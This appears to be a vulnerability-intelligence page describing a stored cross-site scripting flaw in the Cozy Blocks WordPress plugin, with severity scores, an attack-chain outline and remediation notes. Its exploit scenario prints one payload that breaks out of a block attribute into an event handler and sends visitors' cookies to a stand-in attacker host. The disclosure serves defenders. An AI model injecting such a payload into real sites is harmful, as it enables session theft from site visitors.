Skip to main content

Cozy Blocks CVE-2026-75019

| EUVDEUVD-2026-65273 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-25 Wordfence GHSA-459f-r367-v5r2
6.4
CVSS 3.1 · Vendor: Wordfence
Share

Severity by source

Vendor (Wordfence) PRIMARY
6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI
5.4 MEDIUM

PR:L confirmed by contributor-level requirement; UI:R because a victim must visit the page to trigger execution; S:C reflects cross-session browser impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Analysis Generated
Aug 25, 2026 - 03:32 vuln.today
CVE Published
Aug 25, 2026 - 02:26 nvd
MEDIUM 6.4

DescriptionCVE.org

The Cozy Blocks - Page Builder for Gutenberg Editor & FSE with 700+ Patterns, 58 Blocks & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via cozyHoverEffect Block Attribute in all versions up to, and including, 2.2.16 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload survives wp_kses_post on save because it contains no angle brackets - only a double-quote breakout of the cozyHoverEffect.boxShadow.color attribute value - allowing event-handler injection at the render stage.

AnalysisAI

Stored Cross-Site Scripting in the Cozy Blocks WordPress plugin (all versions through 2.2.16) allows authenticated contributors to inject persistent JavaScript via a double-quote breakout in the cozyHoverEffect.boxShadow.color block attribute, bypassing WordPress's native wp_kses_post sanitization filter. Because the crafted payload contains no angle brackets, it passes the save-time sanitizer cleanly and executes as an event-handler injection at render time whenever any user visits the affected page. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Authenticate as WordPress contributor
Delivery
Add cozyHoverEffect block to a published page
Exploit
Set boxShadow.color with double-quote breakout payload
Install
Submit page (wp_kses_post passes payload)
C2
Any visitor loads the page
Execute
Event handler executes in victim's browser context
Impact
Harvest session tokens or redirect to attacker-controlled site

Vulnerability AssessmentAI

Exploitation Exploitation requires a valid WordPress account with contributor-level role or higher - anonymous or subscriber-level users cannot exploit this vulnerability. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 base score of 6.4 (Medium) reflects network attack vector, low complexity, low privilege requirement, and a scope change that impacts the confidentiality and integrity of visitors' browser sessions. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with a contributor account on a target WordPress site creates or edits a page using the cozyHoverEffect block and sets the boxShadow.color attribute to a value such as red" onmouseover="fetch('https://attacker.example/steal?c='+document.cookie) containing a double-quote breakout and an inline event handler. The payload is saved successfully because wp_kses_post sees no angle brackets and passes it. …
Remediation A changeset (revision 3656701) has been committed to the WordPress plugin repository (https://plugins.trac.wordpress.org/changeset?reponame=&old=3656701%40cozy-addons&new=3656701%40cozy-addons), indicating an upstream fix exists; however, the exact released patched version number is not independently confirmed in the available data - site operators should update to the latest available version of the Cozy Blocks plugin via the WordPress dashboard and verify the installed version exceeds 2.2.16. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-75019 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy